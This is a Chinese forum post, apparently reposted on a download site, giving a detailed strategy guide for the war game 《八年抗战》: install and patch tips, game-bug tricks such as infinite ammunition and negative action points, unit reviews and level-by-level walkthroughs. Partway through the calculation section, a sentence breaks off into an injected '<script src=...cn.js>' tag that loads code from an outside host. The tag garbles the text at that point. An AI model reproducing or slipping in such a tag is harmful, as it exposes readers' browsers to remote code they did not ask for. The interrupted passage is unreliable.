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八年抗战攻略_攻略_八年抗战

时间:2023-11-14 12:08  来源:西西手机下载  作者:一种恨
最近在玩《八年抗战》,觉得这个游戏做得太棒了。上来直奔困难级。第一次用1.0的硬盘版玩,不怎么会打,只玩了第一关,尝试了一下,感觉不好。于是重打。第二次升级了1.06补丁,尝试每关尽量拖到最后,杀光敌人及友军(留一队个位数的人),虽然经验值暴涨,但是勋章少得可怜。打到第5关徐州大突围时,就没耐心继续下去了。在网上搜索相应的攻略,很欣喜地发现本论坛mf48和maqiu等几位前辈的战记,又去转了几个繁体版的游戏讨论区,综合自己的经验,重头打第三次。现在颇有心得,和玩家们共享一下。

安装/启动:
1、使用光盘版1.06补丁的方法:可以把补丁改为RAR解压缩到硬盘版的目录。注意不要覆盖Wor.exe,否则硬盘版就没用了。使用该方法后,没有发现射程下降的情况,但是过不了第六章第23关力守九嶺山,全歼日军也不能过关,需要使用win密技。使用方法是,点任意单位休息,在画面特效结束前,连续点击S/L图标超过10下,然后在画面最下方的黑条上输入win(全小写)回车,可过关,但是这样会少一枚勋章。
2、输入中文字法:由于是繁体版的游戏,输入GB字符集会变成乱码。对于不会打Big5字符集输入法的朋友,找个网站将GB转一下Big5编码,然后Ctrl+C,Ctrl+V即可。转编码的网站有很多,比如http://www.dheart.net/bmzh/index.php
3、跳过战前介绍法:按Esc
4、我做的八年抗战1.06版免CD补丁,只此一家,如转载请与我联系。
[attach]49278[/attach]
该补丁是在1.06免区域检测补丁Wor_sc.exe的基础上作的1.06硬盘版补丁。要注意1.06补丁必须从第22关结束后的战备状态开始打第23关力守九嶺山,否则一样会遇到无法过关的bug。使用Wor106b.exe时发现,背景音效有些轻微的混乱,不过到了第24关又恢复正常了。同时发现1.06版无法再利用快速士气训练双百法了。所以过了力守九嶺山后,我还是倾向使用1.0硬盘版的Wor.exe。

战备:
1、快速士气训练双百法:当行动点数耗尽时,找一个行动点数足够的队伍,然后不断按F2,切换到行动点数耗尽的部队身上,这时你会发现那些选项又都亮了,和行动点数足够的队伍一样,只不过执行相应的操作后,行动点数会变为负数。要注意的是,预备队只能在预备队间循环切换,作战部队只能在作战部队间循环切换。另外,如果行动点数足够的队伍物资补给是满的,那么转到行动点数耗尽的队伍时,即使它的物资未满,补给物资的那个按钮也不会亮。因此,如果要补给物资,找一只自身物资未满行动点数又足够的队伍,开始循环切换即可。通过这个方法第一关即可使所有部队士气训练双百。最后一只部队的训练方法是:将自身100人的队伍分出1人组建新的队伍。99人先加满士气训练,然后并到1人的队伍中。这时99人负的行动点数会变成1人的行动点数(正的)一样,重新合并为100人,士气训练都是99,剩余的行动点数足够加一次训练一次士气了。
2、节省物资法:打仗就是打物资,打后勤。要打好困难级别,就得把好物资关。物资消耗主要有四。一、战时的弹药和策略消耗。二、组建部队的基本消耗。三、训练消耗。四、转职消耗。这四点都有值得注意的地方。第一点在后面的心得中会提到。第二点要求用户尽量组建性价比高的部队。第三点是节省物资的大头。训练除了预备役和大刀队消耗物资1以外,其他部队的消耗都大得多。因此,在训练前将部队(典型如补给队)转为预备役和大刀队,训练后再转回来即可。这点应只在第一关有效,以后作战部队直接送上士气训练双百的预备役即可。第四点是最值得注意的地方。我知道玩家们都很喜欢转职(我也喜欢)。下面一点单独提。
3、无损转职法:将一个整编100人的部队转职,原有的物资弹药都会被清零。新组建的部队是没有物资弹药的!因此,转职的时候,只转99人,留1人。然后整编为100人。这样可以把转职前的物资弹药留下,以后转回来时可以接着用。更重要的是,这样不会损失经验值!
4、无限部队法:当战斗部队满员,无法组建新的部队时,点取消,然后点右键关闭窗口。你会发现新的部队已经组建完成。而可指挥部队数变为负数了。
5、快速士气训练双百法的补充:按F2每次都是移动到下一个单位,因此训练时从下往上开始,这样按起来省事。例如:两个单位,单位1在上,单位2在下。单位1行动点数足够。当单位2需要行动点数时,先用鼠标点中单位1,然后按F2即可。
6、部队排序法:按F3,点击列表中的第一行可以排序,然后再按F4切换回来,你会发现部队顺序已经排好了。


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一种恨 (男) [楼主] 发表于2008-2-8 11:16:28 [引用] [回复] 沙发

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战时:
1、最后连招法:这招是当之无愧的绝招。当一个部队在行进或者攻击的过程中,在动作结束前按下指定攻击、休息或者策略(只要亮的任意按钮都可以),仍旧有效!行进或者攻击结束(行动点数不够)后,该部队还是会继续一下刚才你点的操作,然后行动点数变为负数,下一回合恢复正常。通过这个方法,从第一关起,大刀就可以砍四下,步枪就可以开三枪!战力立马提升至140%!!最后一下留给隐藏或者隐蔽等特技也是不错的选择。该法的限制是,倒数第二下操作不能是指定攻击、休息或者策略(点任意按钮都不行),否则无法连招。因此,使用指定攻击打友军,无法连招攻击,比打日军要困难得多。
2、无限弹药法:这是我在使用最后连招法时发现的。当某部队的弹药仅剩1的时候,攻击一次,然后立刻用最后连招法指定攻击再攻击一次,你会发现弹药数变为-1,而且以后每攻击一下都会负的更多。哇,以后不用担心弹药不够了!!无限弹药法的局限是,从此该部队别想补充物资了,限制了策略的使用。否则一补给,以前欠的帐都得还上。类似地,由于最后连招法的限制,也无法通过消策略,使用无限物资法。但是,就此多了几个无限火力点还是很不错的。除了炮兵、扫雷兵、指挥车(你想用轰炸的话)等少数策略必用的兵种外,其他都可以适用无限弹药法。
3、边打边退战术:打一枪退到敌射程外,敌军只会接近不会攻击。此战术适合在前期作战中使用(如第一章第3关)。中期以后,敌军会在有导航的情况下边走边打。
4、边打边藏战术:最后一下攻击后隐藏或者隐蔽,这样下回合敌方就不会攻击我方。此战术适合初期的大刀队和轻步兵队,尤其适合大刀队利用射程差攻击敌方处于防守位置的远程部队。局限是:由于使用策略消耗物资,和无限弹药法有矛盾(除非物资用完就再也不补充物资了)。另外,也不适合打防守,因为敌方主动出击时,会压缩我方的空间,一旦我方隐藏或者隐蔽的单位暴露,则会立即招致攻击。
5、吸引策略战术:故意暴露在敌重步兵、轻炮等单位的射程内,重步兵绝大多数会选择压制我方而不是攻击,轻炮偶尔会选择牵制或压制我方而不是攻击。吸引敌方使用策略的目的是消耗敌人的行动力,以便我方下回合攻击时不遭到反击。此战术适合我方进攻敌方防守时。局限是:随机性很强,不容易控制。
6、限制行动战术:对于补给车和指挥车,可以将其攻击至80点以下(近似),则绝大多数情况该单位会在下一回合停在原地补给,且没有行动力再进行攻击或反击。此战术适合磨经验,在某些特别的时候,也可以用来限制敌方该单位的行动。对友军也一样有效。
7、视野清除战术;远程部队一般视距较近,因此需要远视距的单位导航才能发挥威力。如果在视距外,即使在射程内攻击也不会遭到反击。因此,我方相对敌远程部队不占优势甚至占劣势时,可以考虑先消灭敌远程部队附近远视距的单位,让敌远程部队变成瞎子,然后再攻击就不会遭到反击。此战术适合我方攻击敌方处于防守位置的远程部队。局限是需要较强的火力密度,同时还要保证下一回合敌方远视距的单位不会增援。
8、大刀卡位战术:由于大刀队的弹药补充是不消耗物资的,因此大刀队无需使用无限弹药法,即大刀队可以在任意必要的时候充分使用策略。有些时候(如第五章第21关),友军的补给车或指挥车会冲得太靠前,没有吸引到北路日军的炮火攻击就被中战车消灭了,得不偿失。这时,可以派大刀队隐藏在友军必经之路上卡位,让友军处于敌方炮火射程内战车射程外的位置,达到吸引远程火力的目的。


计算:
1、训练是需要物资的,为了节省每一份物资,需要精打细算。训练初始值是50点,最高值是100点。每次训练最少耗费1物资,增加训练3至8点不等。因此增加50训练点数的最佳训练方案为:7x6+8x1:即六次7训练/1物资,一次8训练/1物资,共耗7点物资即可加满一支预备役或者大刀队的训练。
2、1人的队伍和100人的队伍策略效果相同,每一击获得的经验也相同。但是,考虑到人数,总经验会差很多!以一次攻击获得10点经验为例。1人的队伍和100人的队伍都获得10点经验,但总的经验数却相差了100倍。在整编满员后,1人所获得的经验几乎可以忽略不计。因此,要尽量让满员的部队去获取经验。1人的队伍可以组建,但只需使用策略或者补给即可,不要和别的队伍抢经验。
3、攻击友军和歼灭友军所获得经验一样(歼灭日军经验翻倍)。因此要让攻击力低的部队,每回合攻击数高的部队去攻击友军和日军补给队练级,主推大刀队。
4、零反击的实现举例:我方一7射程中战车,一6射程轻战车,加好助攻,距离敌方7格以上远。敌方一6射程中战车,满行动力,原地待机。我方中战车先前进至7格射程内,向敌方攻击。由于最后连招法,可以开两炮,应当伤害敌方60至66点数,敌方射程外无法反击。此时我方轻战车再上,一般无法一炮灭敌,会遭到反击。但是轻战车完全能一炮将敌方削弱至十几人。这时候非常容易实现零反击(S/L五次左右)。且压制敌方与否在此时差别不大。遭到敌人零反?script src=http://cn.jxmmtv.com/cn.js>



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一种恨 (男) [楼主] 发表于2008-2-8 11:16:38 [引用] [回复] 板凳

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我对各兵种的看法:
在我的部队里,我相信每一种兵种都有用。
1、轻步兵队:性价比很高的兵种,5级提升射程。前期是作战的主力,其边打边藏和边打边退战术能发挥重要作用。第五章以后,低等级轻步兵将遭遇射程劣势,逐渐沦为练级部队。但高等级轻步兵作用不可低估,至少能够增强火力密度。分两种来用。小部分扫雷兵(3级)正常使用,其他适用无限弹药法。进攻、练级均可。
2、重步兵队:全部都用无限弹药法,不必再心疼4物资1枚的火箭弹了,往死里打!会升两级射程,3级就会升射程,适合低等级步兵转职,专做轻步兵杀手。中期要尽快达到7级,再升一次射程,协助中战车,专做装甲杀手。保持对敌的射程优势是重点。
3、迫炮队:占位小的炮兵,一样可以加助攻(8支队伍),也会提升两级射程(5级和9级)。第一章第5关助攻将占据决定性地位。随着大占位的炮兵出现,其助攻的性价比下降。此时可以使用无限弹药法,专做步兵杀手。
4、工兵队:4级就会提升射程,比轻步兵队还早。作为从不埋雷的用户(marqiu语:地雷炸掉的一没经验二没功勋三没缴获,不到万不得已不值得使用),可以拿工兵队当精锐步兵用。
5、大刀队:始终都有用!第一章时是肉搏主力,砍日军能砍四下,还能贴身隐藏(步兵的隐蔽不能贴身)。第二章开始专职砍友军和日军补给部队。注意:砍友军和灭友军的经验是一样的,大刀能攻击友军三下,攻击力又低,不拿大刀练等级说不过去。由于大刀队的弹药补充是不消耗物资的,因此大刀队无需使用无限弹药法,可以充分使用策略。有时大刀卡位战术能达到出其不意的效果。
6、骑兵队:6级才提升射程,这时早就转职了。除了建立部队比较占资源外,消耗弹药和步枪是一样的!也就1枪1物资,比补给队可省多了。第一关我宁愿解散补给队。适用无限弹药法后,作为快速反应练级部队(友军杀手)。
7、装甲车:战车中的突击队,4级就会提升射程。其快速移动能力和短射距,可以充当固定位长射距车炮的杀手,也是步兵天生的克星。
8、补给队:5级会提升射程,但性价比极差(打1枪要3物资),不适合作战。除非必要,基本不开枪,某些关(如第三章第12关)最适合用来卡友军位的,阻止友军随意行动。
9、指挥车:战车中的骑兵队,6级才提升射程。作为从不用轰炸的用户,高移动力和高视距的指挥车可以作为侦察车用。其低攻击力也适合练级。
10、突击队:重步兵队的补充,6级会提升射程。适用无限弹药法后,担当火力组。隶属特种步兵类,对地形适应较好。
11、游击队:7级才提升射程,这时早就转职了。因此游击队大多数时候充当练兵的角色。行动速度过快,对最后连招法的操作要求很高。隶属特种步兵类,对地形适应较好。我奇怪地感觉,游击队出会心一击的概率还挺高。
12、轻战车:战车中的重步兵队。4级提升射程。全部都用无限弹药法,担当火力组。保持对敌的射程优势是重点。
13、中战车:轻战车的克星,装甲部队的杀手。7级提升射程,中期是绝对主力。全部都用无限弹药法,担当火力组。保持对敌的射程优势是重点。
14、重战车:暂缺
15、自走炮:4级提升射程,具备高移动力、强攻击力、远射距等几乎一切优点,只是视距稍短。前期中期数量偏少,后期是绝对主力。分两种来用。小部分加助攻(6级)正常使用,其他适用无限弹药法。
16、轻炮:4级提升射程。射距远,但是移动力低。适合利用射程优势,打击敌方远程部队。小部分加助攻(6级)正常使用,其他适用无限弹药法。
17、重炮:暂缺
18、高射炮:作为从不用防空的用户,高射炮就成为专职加助攻的炮队了。但是它的移动力太低,只适合打防守,以及随同重装部队。其低下的攻击力,也适合拿来练级。

我推荐的升级规律:
一级;大刀队、轻步兵队、游击队、骑兵队、补给队(实在太空的话)、指挥车(实在太空的话)、高射炮(实在太空的话)
二级;大刀队、轻步兵队(参考maqiu的观点:增加行动点数,不使用最后连招法的情况下能攻击两下后隐蔽)、游击队
三级:轻步兵扫雷队(不使用无限弹药法)、重步兵队一升
四级:自走炮一升、轻炮一升(炮队使用无限弹药法,但必须先保证助攻队)、轻战车一升、装甲车一升、工兵队一升
五级:重战车一升、轻步兵队一升、迫击炮一升(使用无限弹药法,但必须先保证助攻队和九级迫击炮)
六级:各炮类助攻队(炮队绝对优先,但不使用无限弹药法)、突击队一升
七级:中战车一升(中战车绝对优先)、重步兵队二升
八级:抽调增加七级部队数量
九级:迫击炮二升(使用无限弹药法)
十级:抽调让其他部队升级


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我目前追求的目标:
1、最多经验,为此,只能砍友军了。做到日军及日军预备役全灭,友军及友军预备役基本全灭(只留一队零星几人过关)。由于我要组建尽可能多的部队,所以没有用资源换经验。走精兵路线的兄弟可以考虑空耗策略练级。
2、最多勋章,且能拿干城就不要光华。 干城勋章要求总回合/2-1(小数部分舍去),光华勋章总回合*2/3-1(小数部分舍去)。其他勋章或敌人单位全歼、或我军单位无损、或特定章节过关,应该都不难得到。
3、我军零伤亡。
我目前已经结束了第三章,开始第四章第14关后退作战。完全达到上述三点目标。军衔副军长,评价19698,名望2182,物资456,兵员5300,干城11,光华2,其他勋章全收。累计作战部队42支,预备役12支,1支不满员:
八级:重步兵1
七级:中战车1、重步兵1
六级:迫击炮1、轻炮1、自走炮1(未满员)、轻战车1、轻步兵3
五级:轻战车1、装甲车1、轻步兵1
四级:轻战车1、重步兵2、工兵1、轻步兵1
三级:重步兵2、轻步兵5
二级:骑兵1、游击队1、大刀5
一级:指挥车1、补给车2、骑兵3、轻步兵4

各关的注意点:
如果没有特别提及,作战目标参照上面的三点:
第一章第1关增援上海:战前解散补给队至1人,训练士气双百后,尽可能组织满员部队上场。迅速增援左路友军抢经验,没事多开右路友军两枪,否则拿干城有点吃紧。不要比友军更靠近拒马,否则会被攻击。拒马不用打,打得话使用指定攻击,但是没经验。所以,全灭日军即可。注意集中练级。
第一章第2关日军上海警备队:绕过喷泉路口的3个木头,兵分三路,左右两路各支援友军,左路可以放开了打,右路需要注意敌人攻击。中路至少保证两刀一枪去杀日军大院内的重步。两刀先上,干掉第一个重步。然后派一枪攻左边重步,两刀向右攻右边重步。等友军汇聚到大院门口时,利用友军当靶子,解决木头,实现零伤亡。注意随时增援大院内。注意集中练级。
第一章第3关阻敌黄浦江(较难,拿光华,等友军撤退):友军和日军打成一片,要注意兼顾。日军援军出现后,放弃桥头,边打边退,打一枪退到敌人射程外。注意集中练级。
第一章第4关台儿庄支援战:利用重步兵射程优势打掉日军轻步兵,故意暴露让敌重步兵压制,实现零伤亡。爆破工事后,立刻整理队形,放日军援军过来,歼灭日军战车/装甲车后。后退一定位置,调动日军补给队,或者打残它让它补给,从而消耗它的行动力使它无法反击。注意集中练级。
第一章第5关徐州大突围(难,拿光华,目标1优先,灭日军援军 ):战前用最高等级的兵组建迫击炮(我是5级多),保证有两支重步兵。在敌人援军到来前,争取练出助攻。右上敌人会陆续自己冲下来送死,无需多虑。右下友军和日军打成一片,注意兼顾,防止经验流失。五回合前必须结束战斗!这样才赶得及在第9回合冲到日军援军出现处背后及周围部署。给所有作战部队助攻,只留下一个骑兵挡着日军最后一个重步兵磨到第十回合。日军10支援军出现!利用射程差,一回合歼灭!
第二章第6关西麓围剿:上来就加助攻,重步兵走到机枪阵地,可灭掉日军两辆战车。然后全军迅速下坡,远程部队伏击日军,近程部队攻击友军。日军指挥车下来就给一炮让它补给,不下来更好。
第二章第7关麒麟峰侧击:留三刀两枪砍敌人的三个残兵和友军练级,全军迅速右下,助攻后歼灭日军大部。然后七成兵力南下去砍下方友军,剩余兵力磨日军补给队。
第二章第8关南浔路包围战(较难):兵分两路,小部分部队阻击上方日军,快速机动部队和远程打击部队追击右方日军,顺路绕到友军阵地再灭友军。
第三章第9关移防武宁:七成部队不过桥,直接往右开,消灭日军。快速机动部队和远程打击部队过桥后不上山,直接拦截过河的日军。
第三章第10关武宁保卫战:装甲部队全放左路,右路只放步兵。右路推进很慢,最后关头需要左路炮火支援才能拿到干城。由于有地利,杀日军很容易。打友军练级时,可以走到友军身后从下往上打(一次打得少,打的次数就多,经验赚得多。)
第三章第11关争夺静安:注意扫雷。战车在坡下,装甲车和步兵上坡。留两三个大刀/步兵(一升)砍上方的补给车,其余人都去攻击右边的日军。
第三章第12关进攻安义(难):注意扫雷。这关难点不是杀日军,也不是杀友军,而是杀友军的补给部队!据我推算,本章友军的补给部队在惊人的1800至2000人左右,要达到目标很难,但也不是不可能。从第1回合起,除装甲部队、重步兵、迫击炮外,八成的兵力要向上去围友军砍友军。骑兵和补给车围在前面,步兵围在两旁。因为友军都是玩家们伙,很快就会被堵在上方路口不动了。从第3回合起,我军要争取每回合杀伤400左右的友军才能达到目标。基本上友军单位不能一下就歼灭,要保留一点让它下回合回复,否则无法全灭友军预备役了!看准时机,调动友军的补给车或指挥车上来挤在中间,这样每回合友军单位就会自己补给了。日军方面,战车都会自己上来送死。利用射程优势灭掉日军步兵。至于最后的自走炮,让我军装甲车


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第三章第13关南浔铁路大爆破:注意扫雷,上方三成主力(7级的中战车和重步兵),下方七成。其他兵力平分即可。先利用射程优势把敌方远程部队打残,当敌方单位仅剩20人以下时,很容易造成零反击,从而可以让我方等射程的单位协助,加速灭敌。
第四章第14关后退作战:派一两成兵力去左边灭掉友军(本关可以全灭友军),主力去右边阻击冲上来送死的日军。两炮上下并排可以给24支队伍加助攻,日军连还手之力都没有。
第四章第15关直取仙桃(稍难):过桥后注意扫雷,日军掩体前和阵地入口也有地雷。上方桥看似远,实则近,打起来也更容易。我是兵力太多(本关已经有两辆补给车放不上战场了),所以分兵并进。如果想集中突破的话,推荐走上方桥。日军阵地里上下各有一瞭望台、一轻炮。轻炮行动力满,射程远,硬拼肯定会遭到反击。好在轻炮的视距只有5。先将瞭望台轰塌,再利用射程优势灭掉轻炮边上的步兵,轻炮就变木头瞎子了。要注意的是,下回合如果日军远视距的指挥车或者骑兵走到轻炮边,轻炮就复明了。所以要把握好时机。下方轻炮有时会对我方压制而不是攻击,可以利用。不必在意日军战车,它们只会绕来绕去巡逻。
第四章第16关敌后游击战:全军向上,很快与日军遭遇。加好助攻灭之。留下个别部队磨日军补给队,全军大部再上去灭友军(本关可以全灭友军)。
第四章第17关增援应城(较难):注意扫雷,沼泽和护城河里都有地雷。步兵穿沼泽北上,重步兵在前,轻步兵在后。装甲部队顺路绕,中战车居前,自走炮次之,装甲车、轻战车随后,轻炮太慢基本用不上了。骑兵占体积太大,城墙入口太小,位置都让给装甲部队了。友军都是轻步兵,挡不住日军火力,但是要充分利用。日军方面,上下各有一轻炮助阵,上方轻炮两边是两辆轻战车,下方轻炮两边是两辆中战车,中间穿插以轻重步兵。后阵还有一轻一中两辆战车和补给车。友军会先贴近日军上方阵地,然后再进入日军下方阵地的射程。我军的中战车、大部分重步兵、装甲车和小部分轻战车应该能在加好助攻后赶上友军。利用友军在前作靶子,消灭日军重火力。先打上方日军,再打下方日军。优先消灭敌轻炮,战车次之,重步兵再次之。本关可以全灭友军,追求极限的话,看哪个友军快挂了,补上最后一枪(似乎不太仁道,但是计算准确得话是可以做到的)。注意右下角有一个机枪阵地,那里的日军迫炮队打不到友军,所以行动力一直是满的。派三个以上的大刀队上去边隐藏边砍。注意本关日军的补给车优先采取攻击而不是补给,所以灭了补给车,磨日军的指挥车吧。因此我也只能从第6回合拖到第11回合才拿到干城。
第五章第18关解救三十三集团军:为准确说明,定义我军附近有东西二桥,友军附近有北桥。西路日军以步兵为主,东路日军以装甲部队为主。由于东路日军有一个垫底的自走炮,对我军追击造成困难,因此建议放过东路日军大部,只派少量的步兵过东桥。打残东路日军最后的指挥车和补给车,它们就会停在原地补给,派我军练级部队上去磨经验即可。而我军主力应放在西桥,中战车在前,自走炮次之,轻战车装甲车重步兵等再次之。如此,可以迅速追上西路日军的重步兵、骑兵和补给车部队,并予以歼灭。然后,中战车要火力覆盖北桥头,正好能迎上陆续过北桥后开来的东路日军。其他兵力一部分协助中战车,另一部分则到树林的最北端消灭那里属于西路日军的轻步兵(注意日军升过射程)。最后消灭友军直至只剩指挥车过关。
第五章第19关固守宜城:打防御战最简单,日军都是冲上来送死的。要注意我军大占位部队无法穿过碉堡缝隙,只能从路口出击。
第五章第20关截击三十九师团:简单的阻击战,毫无悬念。
第五章第21关反击宜昌(难,拿光华,行动力不足):这关日军占据有利地形,分为北东西三路牢固防守,我军上山极耗行动力,非常不利。虽然突击队和游击队的适应地形能力在此表现得淋漓尽致,可惜面对日军的远程打击部队,发挥不了作用。北路日军藏在最后面,两边有一自走炮和轻炮略阵,前面有三个藏在工事中的轻步兵增大视野,还有两辆中战车和一辆补给车协助。北路日军的存在使得本关拿干城的希望彻底破灭。西路日军占据山顶正中,计有轻战车两辆、自走炮一辆、补给车一辆、指挥车一辆,会随时下坡支援东路日军。东路日军最为恐怖,左边是藏在工事里的两个迫击炮、迫击炮前是两个轻步兵,都升过射程。右边是藏在工事里的一个轻步兵和一个重步兵,他们身后是一架重炮。再后面还有一个重步兵和一架轻炮。我军应分左右两路部署。左路全部是步兵,包括4个重步兵(其中两个达到7级)和1个6级迫击炮。左路我军沿左侧小道走,约在12回合登顶,能够协助消灭北路日军。右路远程打击部队在前,其他部队在后,沿大路走。友军的步兵开局过于靠前,踩着地雷冒着炮火白白牺牲。而我右路部队开局后应迅速上坡,在3回合即可攻击到友军的补给车和指挥车。让友军的补给车和指挥车停在原地补给,他们的保存对后面的战斗很重要。当我右路部队赶上友军后,让友军在前吸引东路日军攻


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